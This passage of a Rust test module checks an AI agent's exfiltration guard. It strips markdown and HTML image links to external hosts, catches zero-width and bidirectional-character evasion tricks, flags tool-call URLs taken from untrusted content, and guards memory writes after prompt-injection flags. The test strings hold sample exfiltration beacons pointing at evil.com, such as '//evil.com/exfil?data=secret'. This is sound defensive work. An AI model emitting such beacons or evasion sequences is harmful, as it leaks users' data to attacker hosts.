818        assert!(
819            !cleaned.contains("![t]("),
820            "markdown image syntax must be removed: {cleaned}"
821        );
822        assert!(
823            cleaned.contains("[image removed: https://evil.com/x.gif]"),
824            "replacement label must contain the url without the title: {cleaned}"
825        );
826        assert_eq!(events.len(), 1);
827    }
828
829    #[test]
830    fn strips_inline_image_with_single_quoted_title() {
831        let (cleaned, events) =
832            guard().scan_output("Before ![t](https://evil.com/x.gif 'title') after");
833        assert!(
834            !cleaned.contains("![t]("),
835            "markdown image syntax must be removed: {cleaned}"
836        );
837        assert_eq!(events.len(), 1);
838    }
839
840    #[test]
841    fn strips_inline_image_with_paren_title() {
842        let (cleaned, events) =
843            guard().scan_output("Before ![t](https://evil.com/x.gif (title)) after");
844        assert!(
845            !cleaned.contains("![t]("),
846            "markdown image syntax must be removed: {cleaned}"
847        );
848        assert_eq!(events.len(), 1);
849    }
850
851    #[test]
852    fn strips_inline_image_with_leading_whitespace_and_title() {
853        let (cleaned, events) =
854            guard().scan_output(r#"Before ![t]( https://evil.com/x.gif "title") after"#);
855        assert!(
856            !cleaned.contains("![t]("),
857            "markdown image syntax must be removed: {cleaned}"
858        );
859        assert_eq!(events.len(), 1);
860    }
861
862    #[test]
863    fn strips_inline_image_with_angle_bracket_destination_and_title() {
864        let (cleaned, events) =
865            guard().scan_output(r#"Before ![t](<https://evil.com/x.gif> "title") after"#);
866        assert!(
867            !cleaned.contains("![t]("),
868            "markdown image syntax must be removed: {cleaned}"
869        );
870        assert!(
871            cleaned.contains("[image removed: https://evil.com/x.gif]"),
872            "replacement label must contain the url without the title: {cleaned}"
873        );
874        assert_eq!(events.len(), 1);
875    }
876
877    #[test]
878    fn strips_reference_style_image_with_angle_bracket_destination() {
879        let text = "Here is the image: ![alt][ref]\n[ref]: <https://evil.com/track.gif>\nend";
880        let (cleaned, events) = guard().scan_output(text);
881        assert!(
882            !cleaned.contains("![alt][ref]"),
883            "image usage syntax must be removed: {cleaned}"
884        );
885        assert!(
886            !cleaned.contains("[ref]:"),
887            "reference definition must be removed: {cleaned}"
888        );
889        assert!(!events.is_empty(), "must generate event");
890    }
891
892    #[test]
893    fn html_img_tag_unquoted_src_blocked() {
894        let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
895            block_markdown_images: true,
896            ..ExfiltrationGuardConfig::default()
897        });
898        // HTML5 permits unquoted attribute values.
899        let (cleaned, events) = guard.scan_output("text <img src=https://evil.com/p.gif> end");
900        assert!(
901            events
902                .iter()
903                .any(|e| matches!(e, ExfiltrationEvent::HtmlImageBlocked { url } if url == "https://evil.com/p.gif")),
904            "expected HtmlImageBlocked event for unquoted src"
905        );
906        assert!(
907            !cleaned.contains("<img"),
908            "img tag must be removed: {cleaned}"
909        );
910        assert!(
911            cleaned.contains("[image removed:"),
912            "replacement label must be present: {cleaned}"
913        );
914    }
915
916    #[test]
917    fn empty_alt_text_still_blocked() {
918        let text = "![](https://evil.com/p.gif)";
919        let (cleaned, events) = guard().scan_output(text);
920        // The original markdown image syntax must be removed; the replacement label may contain the URL.
921        assert!(
922            !cleaned.contains("![]("),
923            "markdown image syntax must be removed: {cleaned}"
924        );
925        assert!(
926            cleaned.contains("[image removed:"),
927            "replacement label must be present: {cleaned}"
928        );
929        assert_eq!(events.len(), 1);
930    }
931
932    #[test]
933    fn html_img_tag_blocked() {
934        let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
935            block_markdown_images: true,
936            ..ExfiltrationGuardConfig::default()
937        });
938        let (cleaned, events) = guard.scan_output(r#"text <img src="https://evil.com/p.gif"> end"#);
939        assert!(
940            events
941                .iter()
942                .any(|e| matches!(e, ExfiltrationEvent::HtmlImageBlocked { .. })),
943            "expected HtmlImageBlocked event"
944        );
945        assert!(
946            !cleaned.contains("<img"),
947            "img tag must be removed: {cleaned}"
948        );
949        assert!(
950            cleaned.contains("[image removed:"),
951            "replacement label must be present: {cleaned}"
952        );
953    }
954
955    #[test]
956    fn html_img_tag_single_quote_blocked() {
957        let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
958            block_markdown_images: true,
959            ..ExfiltrationGuardConfig::default()
960        });
961        let (cleaned, events) = guard.scan_output("text <img src='https://evil.com/p.gif'> end");
962        assert!(
963            events
964                .iter()
965                .any(|e| matches!(e, ExfiltrationEvent::HtmlImageBlocked { .. })),
966            "expected HtmlImageBlocked event for single-quoted src"
967        );
968        assert!(
969            !cleaned.contains("<img"),
970            "img tag must be removed: {cleaned}"
971        );
972    }
973
974    #[test]
975    fn html_img_tag_noop_when_disabled() {
976        let input = r#"text <img src="https://evil.com/p.gif"> end"#;
977        let (cleaned, events) = guard_disabled().scan_output(input);
978        assert_eq!(cleaned, input);
979        assert!(events.is_empty());
980    }
981
982    #[test]
983    fn unicode_zwj_bypass_blocked() {
984        let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
985            block_markdown_images: true,
986            ..ExfiltrationGuardConfig::default()
987        });
988        // Insert U+200B (ZWSP) between ! and [ to try to evade markdown regex.
989        let input = "!\u{200B}[alt](https://evil.com/track)";
990        let (cleaned, _events) = guard.scan_output(input);
991        // The bypass sequence `!\u{200B}[` is replaced with `[blocked]`, defusing
992        // the markdown image syntax — the `!` prefix that triggers image rendering is gone.
993        assert!(
994            !cleaned.contains('\u{200B}'),
995            "zero-width char must be stripped: {cleaned}"
996        );
997        assert!(
998            !cleaned.starts_with('!'),
999            "image trigger `!` must be removed: {cleaned}"
1000        );
1001    }
1002
1003    #[test]
1004    fn unicode_word_joiner_bypass_blocked() {
1005        let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
1006            block_markdown_images: true,
1007            ..ExfiltrationGuardConfig::default()
1008        });
1009        // U+2060 (WORD JOINER) inserted between ! and [ to evade markdown regex.
1010        let input = "!\u{2060}[alt](https://evil.com/track)";
1011        let (cleaned, _events) = guard.scan_output(input);
1012        assert!(
1013            !cleaned.contains('\u{2060}'),
1014            "U+2060 word joiner must be stripped: {cleaned}"
1015        );
1016        assert!(
1017            !cleaned.starts_with('!'),
1018            "image trigger `!` must be removed: {cleaned}"
1019        );
1020    }
1021
1022    #[test]
1023    fn unicode_bypass_noop_when_disabled() {
1024        let input = "!\u{200B}[alt](https://evil.com/track)";
1025        let (cleaned, events) = guard_disabled().scan_output(input);
1026        assert_eq!(cleaned, input);
1027        assert!(events.is_empty());
1028    }
1029
1030    #[test]
1031    fn unicode_bidi_override_bypass_blocked() {
1032        let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
1033            block_markdown_images: true,
1034            ..ExfiltrationGuardConfig::default()
1035        });
1036        let input = "!\u{202E}[alt](https://evil.com/track)";
1037        let (cleaned, _events) = guard.scan_output(input);
1038        assert!(
1039            !cleaned.contains('\u{202E}'),
1040            "U+202E BIDI override must be stripped: {cleaned}"
1041        );
1042        assert!(
1043            !cleaned.starts_with('!'),
1044            "image trigger `!` must be removed: {cleaned}"
1045        );
1046    }
1047
1048    #[test]
1049    fn unicode_bidi_isolate_bypass_blocked() {
1050        let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
1051            block_markdown_images: true,
1052            ..ExfiltrationGuardConfig::default()
1053        });
1054        let input = "!\u{2066}[alt](https://evil.com/track)";
1055        let (cleaned, _events) = guard.scan_output(input);
1056        assert!(
1057            !cleaned.contains('\u{2066}'),
1058            "U+2066 BIDI isolate must be stripped: {cleaned}"
1059        );
1060        assert!(
1061            !cleaned.starts_with('!'),
1062            "image trigger `!` must be removed: {cleaned}"
1063        );
1064    }
1065
1066    #[test]
1067    fn unicode_soft_hyphen_bypass_blocked() {
1068        let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
1069            block_markdown_images: true,
1070            ..ExfiltrationGuardConfig::default()
1071        });
1072        let input = "!\u{00AD}[alt](https://evil.com/track)";
1073        let (cleaned, _events) = guard.scan_output(input);
1074        assert!(
1075            !cleaned.contains('\u{00AD}'),
1076            "U+00AD soft hyphen must be stripped: {cleaned}"
1077        );
1078        assert!(
1079            !cleaned.starts_with('!'),
1080            "image trigger `!` must be removed: {cleaned}"
1081        );
1082    }
1083
1084    #[test]
1085    fn unicode_tags_block_bypass_blocked() {
1086        let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
1087            block_markdown_images: true,
1088            ..ExfiltrationGuardConfig::default()
1089        });
1090        let input = "!\u{E0041}[alt](https://evil.com/track)";
1091        let (cleaned, _events) = guard.scan_output(input);
1092        assert!(
1093            !cleaned.contains('\u{E0041}'),
1094            "U+E0041 TAGS char must be stripped: {cleaned}"
1095        );
1096        assert!(
1097            !cleaned.starts_with('!'),
1098            "image trigger `!` must be removed: {cleaned}"
1099        );
1100    }
1101
1102    #[test]
1103    fn unicode_cgj_bypass_blocked() {
1104        let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
1105            block_markdown_images: true,
1106            ..ExfiltrationGuardConfig::default()
1107        });
1108        // U+034F (CGJ) is category Mn, not Cf — must be covered by explicit addition.
1109        let input = "!\u{034F}[alt](https://evil.com/track)";
1110        let (cleaned, _events) = guard.scan_output(input);
1111        assert!(
1112            !cleaned.contains('\u{034F}'),
1113            "U+034F CGJ must be stripped: {cleaned}"
1114        );
1115        assert!(
1116            !cleaned.starts_with('!'),
1117            "image trigger `!` must be removed: {cleaned}"
1118        );
1119    }
1120
1121    #[test]
1122    fn unicode_heterogeneous_run_bypass_blocked() {
1123        let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
1124            block_markdown_images: true,
1125            ..ExfiltrationGuardConfig::default()
1126        });
1127        // Mixed run: ZWSP + BIDI override + TAGS char — the `+` quantifier must consume all.
1128        let input = "!\u{200B}\u{202E}\u{E0001}[alt](https://evil.com/track)";
1129        let (cleaned, _events) = guard.scan_output(input);
1130        assert!(
1131            !cleaned.contains('\u{200B}'),
1132            "U+200B must be stripped in mixed run: {cleaned}"
1133        );
1134        assert!(
1135            !cleaned.contains('\u{202E}'),
1136            "U+202E must be stripped in mixed run: {cleaned}"
1137        );
1138        assert!(
1139            !cleaned.contains('\u{E0001}'),
1140            "U+E0001 must be stripped in mixed run: {cleaned}"
1141        );
1142        assert!(
1143            !cleaned.starts_with('!'),
1144            "image trigger `!` must be removed: {cleaned}"
1145        );
1146    }
1147
1148    #[test]
1149    fn unicode_bypass_no_false_positive_on_space() {
1150        let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
1151            block_markdown_images: true,
1152            ..ExfiltrationGuardConfig::default()
1153        });
1154        // Literal space between `!` and `[` is NOT an invisible bypass char — must not be matched.
1155        let input = "! [text](https://example.com/)";
1156        let (cleaned, _events) = guard.scan_output(input);
1157        assert_eq!(
1158            cleaned, input,
1159            "literal space between ! and [ must not trigger bypass detection"
1160        );
1161    }
1162
1163    #[test]
1164    fn unicode_bypass_no_false_positive_on_clean_image() {
1165        let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
1166            block_markdown_images: true,
1167            ..ExfiltrationGuardConfig::default()
1168        });
1169        // Legitimate inline image is handled by Pass 1, not double-processed by Pass 4.
1170        let (cleaned, events) = guard.scan_output("![alt](https://evil.com/track.gif)");
1171        assert!(
1172            events
1173                .iter()
1174                .any(|e| matches!(e, ExfiltrationEvent::MarkdownImageBlocked { .. })),
1175            "should produce MarkdownImageBlocked event, not bypass event"
1176        );
1177        assert!(
1178            !cleaned.contains("![alt]("),
1179            "clean image must be stripped by Pass 1: {cleaned}"
1180        );
1181    }
1182
1183    #[test]
1184    fn strips_inline_image_with_uppercase_scheme() {
1185        let (cleaned, events) = guard().scan_output("Before ![t](HTTPS://evil.com/p.gif) after");
1186        assert!(
1187            !cleaned.contains("![t]("),
1188            "uppercase-scheme image syntax must be removed: {cleaned}"
1189        );
1190        assert_eq!(events.len(), 1);
1191    }
1192
1193    #[test]
1194    fn strips_inline_image_with_mixed_case_scheme() {
1195        let (cleaned, events) = guard().scan_output("Before ![t](Http://evil.com/p.gif) after");
1196        assert!(
1197            !cleaned.contains("![t]("),
1198            "mixed-case-scheme image syntax must be removed: {cleaned}"
1199        );
1200        assert_eq!(events.len(), 1);
1201    }
1202
1203    #[test]
1204    fn strips_inline_image_with_scheme_relative_url() {
1205        let (cleaned, events) = guard().scan_output("Before ![t](//evil.com/p.gif) after");
1206        assert!(
1207            !cleaned.contains("![t]("),
1208            "scheme-relative image syntax must be removed: {cleaned}"
1209        );
1210        assert!(
1211            cleaned.contains("[image removed: //evil.com/p.gif]"),
1212            "replacement label must contain the scheme-relative url: {cleaned}"
1213        );
1214        assert_eq!(events.len(), 1);
1215    }
1216
1217    #[test]
1218    fn strips_html_img_tag_with_scheme_relative_src() {
1219        let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
1220            block_markdown_images: true,
1221            ..ExfiltrationGuardConfig::default()
1222        });
1223        let (cleaned, events) = guard.scan_output(r#"text <img src="//evil.com/p.gif"> end"#);
1224        assert!(
1225            events
1226                .iter()
1227                .any(|e| matches!(e, ExfiltrationEvent::HtmlImageBlocked { url } if url == "//evil.com/p.gif")),
1228            "expected HtmlImageBlocked event for scheme-relative src"
1229        );
1230        assert!(
1231            !cleaned.contains("<img"),
1232            "img tag must be removed: {cleaned}"
1233        );
1234    }
1235
1236    #[test]
1237    fn strips_reference_style_image_with_scheme_relative_destination() {
1238        let text = "Here is the image: ![alt][ref]\n[ref]: //evil.com/track.gif\nend";
1239        let (cleaned, events) = guard().scan_output(text);
1240        assert!(
1241            !cleaned.contains("![alt][ref]"),
1242            "image usage syntax must be removed: {cleaned}"
1243        );
1244        assert!(
1245            !cleaned.contains("[ref]:"),
1246            "reference definition must be removed: {cleaned}"
1247        );
1248        assert!(!events.is_empty(), "must generate event");
1249    }
1250
1251    #[test]
1252    fn strips_inline_image_with_escaped_quote_in_title() {
1253        let (cleaned, events) =
1254            guard().scan_output(r#"Before ![t](https://evil.com/x.gif "a\"b") after"#);
1255        assert!(
1256            !cleaned.contains("![t]("),
1257            "markdown image syntax with escaped-quote title must be removed: {cleaned}"
1258        );
1259        assert!(
1260            cleaned.contains("[image removed: https://evil.com/x.gif]"),
1261            "replacement label must contain the url without the title: {cleaned}"
1262        );
1263        assert_eq!(events.len(), 1);
1264    }
1265
1266    #[test]
1267    fn preserves_plain_relative_path_image() {
1268        let text = "Look: ![diagram](images/pic.gif) — local";
1269        let (cleaned, events) = guard().scan_output(text);
1270        assert_eq!(cleaned, text);
1271        assert!(events.is_empty());
1272    }
1273
1274    #[test]
1275    fn preserves_relative_path_with_interior_double_slash() {
1276        // The now-optional scheme requires a literal `//` at the *start* of the destination.
1277        // A relative path with an interior `//` (not a leading one) must not be misclassified
1278        // as scheme-relative — the destination here starts with `a`, not `/`.
1279        let text = "Look: ![diagram](assets//img/pic.gif) — local";
1280        let (cleaned, events) = guard().scan_output(text);
1281        assert_eq!(cleaned, text);
1282        assert!(events.is_empty());
1283    }
1284
1285    #[test]
1286    fn strips_image_with_trailing_backslash_before_title_close() {
1287        // Title text is `a\` followed by the real closing quote: `"a\")`. The alternation
1288        // `(?:\\.|[^"])*` first tries to treat `\"` as an escaped quote, which runs past the
1289        // only closing quote in the string and leaves the title unterminated; the engine then
1290        // falls back to consuming the lone `\` via the `[^"]` branch instead, stopping right
1291        // before the real closing `"` and matching it. Net effect: the image IS still stripped
1292        // — a stricter CommonMark parser would treat this exact input as an unterminated title
1293        // and not render it as an image at all, so the guard is overzealous here, not
1294        // permissive. Over-stripping a non-image is safe for an exfiltration guard; documented
1295        // so a future reader does not mistake this for a bypass.
1296        let text = r#"Before ![t](https://evil.com/x.gif "a\") after"#;
1297        let (cleaned, events) = guard().scan_output(text);
1298        assert!(
1299            !cleaned.contains("![t]("),
1300            "markdown image syntax must be removed: {cleaned}"
1301        );
1302        assert_eq!(events.len(), 1);
1303    }
1304
1305    // --- is_external_url ---
1306
1307    #[test]
1308    fn is_external_url_case_insensitive_and_scheme_relative() {
1309        assert!(is_external_url("https://evil.com/x"));
1310        assert!(is_external_url("HTTPS://evil.com/x"));
1311        assert!(is_external_url("Http://evil.com/x"));
1312        assert!(is_external_url("//evil.com/x"));
1313        assert!(!is_external_url("images/pic.gif"));
1314        assert!(!is_external_url("/images/pic.gif"));
1315        assert!(!is_external_url("data:image/png;base64,abc"));
1316    }
1317
1318    // --- validate_tool_call ---
1319
1320    #[test]
1321    fn detects_flagged_url_in_json_string() {
1322        // Build the flagged set the way a `flagged_urls`-specific caller does: raw extraction
1323        // followed by explicit normalization (see `build_flagged_set`).
1324        let flagged = build_flagged_set("https://evil.com/payload");
1325        let args = r#"{"url": "https://evil.com/payload"}"#;
1326        let events = guard().validate_tool_call("fetch", args, &flagged);
1327        assert_eq!(events.len(), 1);
1328        assert!(
1329            matches!(&events[0], ExfiltrationEvent::SuspiciousToolUrl { url, tool_name }
1330            if url == "https://evil.com/payload" && tool_name == "fetch")
1331        );
1332    }
1333
1334    #[test]
1335    fn scheme_relative_flag_matches_explicit_scheme_tool_arg() {
1336        // Flagged via scheme-relative extraction from untrusted output; matched against an
1337        // explicit-scheme occurrence of the same URL in a later tool-call argument.
1338        let flagged = build_flagged_set("suspicious link: //evil.com/exfil?data=secret");
1339        let args = r#"{"url": "https://evil.com/exfil?data=secret"}"#;
1340        let events = guard().validate_tool_call("fetch", args, &flagged);
1341        assert_eq!(
1342            events.len(),
1343            1,
1344            "scheme-relative flag must match explicit-scheme tool arg"
1345        );
1346        assert!(
1347            matches!(&events[0], ExfiltrationEvent::SuspiciousToolUrl { url, .. }
1348            if url == "https://evil.com/exfil?data=secret"),
1349            "raw (non-normalized) url must be preserved in the event"
1350        );
1351    }
1352
1353    #[test]
1354    fn explicit_scheme_flag_matches_scheme_relative_tool_arg() {
1355        // Flagged via explicit-scheme extraction from untrusted output; matched against a
1356        // scheme-relative occurrence of the same URL in a later tool-call argument.
1357        let flagged = build_flagged_set("suspicious link: https://evil.com/exfil2?data=secret");
1358        let args = r#"{"url": "//evil.com/exfil2?data=secret"}"#;
1359        let events = guard().validate_tool_call("fetch", args, &flagged);
1360        assert_eq!(
1361            events.len(),
1362            1,
1363            "explicit-scheme flag must match scheme-relative tool arg"
1364        );
1365        assert!(
1366            matches!(&events[0], ExfiltrationEvent::SuspiciousToolUrl { url, .. }
1367            if url == "//evil.com/exfil2?data=secret"),
1368            "raw (non-normalized) url must be preserved in the event"
1369        );
1370    }
1371
1372    #[test]
1373    fn no_event_when_url_not_flagged() {
1374        let mut flagged = HashSet::new();
1375        flagged.insert("https://other.com/benign".to_owned());
1376        let args = r#"{"url": "https://legitimate.com/page"}"#;
1377        let events = guard().validate_tool_call("fetch", args, &flagged);
1378        assert!(events.is_empty());
1379    }
1380
1381    #[test]
1382    fn validate_tool_call_noop_when_disabled() {
1383        let mut flagged = HashSet::new();
1384        flagged.insert("https://evil.com/x".to_owned());
1385        let args = r#"{"url": "https://evil.com/x"}"#;
1386        let events = guard_disabled().validate_tool_call("fetch", args, &flagged);
1387        assert!(events.is_empty());
1388    }
1389
1390    #[test]
1391    fn validate_tool_call_noop_with_empty_flagged() {
1392        let args = r#"{"url": "https://evil.com/x"}"#;
1393        let events = guard().validate_tool_call("fetch", args, &HashSet::new());
1394        assert!(events.is_empty());
1395    }
1396
1397    #[test]
1398    fn extracts_urls_from_nested_json() {
1399        let flagged = build_flagged_set("https://evil.com/deep");
1400        let args = r#"{"nested": {"inner": ["https://evil.com/deep"]}}"#;
1401        let events = guard().validate_tool_call("tool", args, &flagged);
1402        assert_eq!(events.len(), 1);
1403    }
1404
1405    #[test]
1406    fn handles_escaped_slashes_in_json() {
1407        // JSON-encoded URL with escaped forward slashes should still be detected
1408        // after serde_json parsing (which unescapes the string value).
1409        let flagged = build_flagged_set("https://evil.com/path");
1410        // serde_json will unescape \/ → /
1411        let args = r#"{"url": "https:\/\/evil.com\/path"}"#;
1412        let parsed: serde_json::Value = serde_json::from_str(args).unwrap();
1413        // Confirm serde_json unescapes it.
1414        assert_eq!(parsed["url"], "https://evil.com/path");
1415        let events = guard().validate_tool_call("fetch", args, &flagged);
1416        assert_eq!(events.len(), 1, "JSON-escaped URL must be caught");
1417    }
1418
1419    // --- should_guard_memory_write ---
1420
1421    #[test]
1422    fn guards_when_injection_flags_set() {
1423        let event = guard().should_guard_memory_write(true);
1424        assert!(event.is_some());
1425        assert_matches!(event.unwrap(), ExfiltrationEvent::MemoryWriteGuarded { .. });
1426    }
1427
1428    #[test]
1429    fn passes_when_no_injection_flags() {
1430        let event = guard().should_guard_memory_write(false);
1431        assert!(event.is_none());
1432    }
1433
1434    #[test]
1435    fn guard_memory_write_noop_when_disabled() {
1436        let event = guard_disabled().should_guard_memory_write(true);
1437        assert!(event.is_none());
1438    }
1439
1440    // --- percent_decode_url ---
1441
1442    #[test]
1443    fn percent_decode_roundtrip() {
1444        assert_eq!(
1445            percent_decode_url("https://example.com"),
1446            "https://example.com"
1447        );
1448        assert_eq!(
1449            percent_decode_url("%68ttps://example.com"),
1450            "https://example.com"
1451        );
1452        assert_eq!(percent_decode_url("hello%20world"), "hello world");
1453    }
1454
1455    // --- extract_flagged_urls ---
1456
1457    #[test]
1458    fn extracts_urls_from_plain_text() {
1459        let content = "check https://evil.com/x and https://other.com/y for details";
1460        let urls = extract_flagged_urls(content);
1461        assert!(urls.contains("https://evil.com/x"));
1462        assert!(urls.contains("https://other.com/y"));
1463    }
1464
1465    #[test]
1466    fn extracts_scheme_relative_urls_from_plain_text_raw() {
1467        // extract_flagged_urls returns raw, non-normalized text — a scheme-relative match
1468        // stays scheme-relative in the returned set (normalization is an opt-in step for
1469        // callers building a `flagged_urls`-style matching set, not automatic here).
1470        let content = "check //evil.com/x for details";
1471        let urls = extract_flagged_urls(content);
1472        assert!(urls.contains("//evil.com/x"));
1473    }
1474
1475    #[test]
1476    fn extract_flagged_urls_does_not_collapse_explicit_and_scheme_relative_forms() {
1477        // Unlike a normalized `flagged_urls`-style set, extract_flagged_urls's raw output keeps
1478        // both textual forms of the same origin as distinct entries — callers that need exact
1479        // text fidelity (e.g. URL-grounding checks against user-supplied input) depend on this.
1480        let urls = extract_flagged_urls("https://evil.com/x and //evil.com/x again");
1481        assert_eq!(
1482            urls.len(),
1483            2,
1484            "raw output must keep both forms distinct: {urls:?}"
1485        );
1486        assert!(urls.contains("https://evil.com/x"));
1487        assert!(urls.contains("//evil.com/x"));
1488    }
1489
1490    #[test]
1491    fn build_flagged_set_normalizes_explicit_and_scheme_relative_to_same_entry() {
1492        // The `flagged_urls`-style construction path (raw extraction + explicit
1493        // normalize_url_for_matching, as `build_flagged_set` models) must collapse both
1494        // textual forms of the same origin into a single matchable entry — otherwise the
1495        // exact-string `flagged_urls` set would miss the cross-form match. This is the
1496        // direct regression test for #6519.
1497        let urls = build_flagged_set("https://evil.com/x and //evil.com/x again");
1498        assert_eq!(
1499            urls.len(),
1500            1,
1501            "both forms must normalize to the same entry: {urls:?}"
1502        );
1503        assert!(urls.contains("//evil.com/x"));
1504    }
1505
1506    // --- normalize_url_for_matching ---
1507
1508    #[test]
1509    fn normalize_url_for_matching_strips_scheme_case_insensitively() {
1510        assert_eq!(
1511            normalize_url_for_matching("https://evil.com/x"),
1512            "//evil.com/x"
1513        );
1514        assert_eq!(
1515            normalize_url_for_matching("HTTPS://evil.com/x"),
1516            "//evil.com/x"
1517        );
1518        assert_eq!(
1519            normalize_url_for_matching("http://evil.com/x"),
1520            "//evil.com/x"
1521        );
1522        assert_eq!(
1523            normalize_url_for_matching("Http://evil.com/x"),
1524            "//evil.com/x"
1525        );
1526        assert_eq!(normalize_url_for_matching("//evil.com/x"), "//evil.com/x");
1527    }
1528
1529    // --- collect_strings depth guard ---
1530
1531    /// Wraps `leaf` in `depth` nested single-element arrays, e.g. `[[["leaf"]]]`.
1532    fn nested_array(depth: usize, leaf: &str) -> serde_json::Value {
1533        let mut v = serde_json::json!(leaf);
1534        for _ in 0..depth {
1535            v = serde_json::Value::Array(vec![v]);
1536        }
1537        v
1538    }
1539
1540    #[test]
1541    fn collect_strings_adversarial_scale_does_not_crash() {
1542        // Attacker-scale nesting, far beyond MAX_JSON_DEPTH, built programmatically to
1543        // bypass serde_json's own parse-time recursion limit — must not overflow the
1544        // stack; the depth guard caps real recursion depth regardless of input nesting.
1545        let value = nested_array(10_000, "deep");
1546        let mut out = Vec::new();
1547        collect_strings(&value, &mut out, 0);
1548        assert!(out.is_empty());
1549    }
1550
1551    #[test]
1552    fn collect_strings_exact_depth_boundary() {
1553        let just_inside = nested_array(MAX_JSON_DEPTH - 1, "just_inside");
1554        let mut out = Vec::new();
1555        collect_strings(&just_inside, &mut out, 0);
1556        assert_eq!(out, vec!["just_inside"]);
1557
1558        let just_outside = nested_array(MAX_JSON_DEPTH, "just_outside");
1559        let mut out = Vec::new();
1560        collect_strings(&just_outside, &mut out, 0);
1561        assert!(out.is_empty());
1562    }
1563}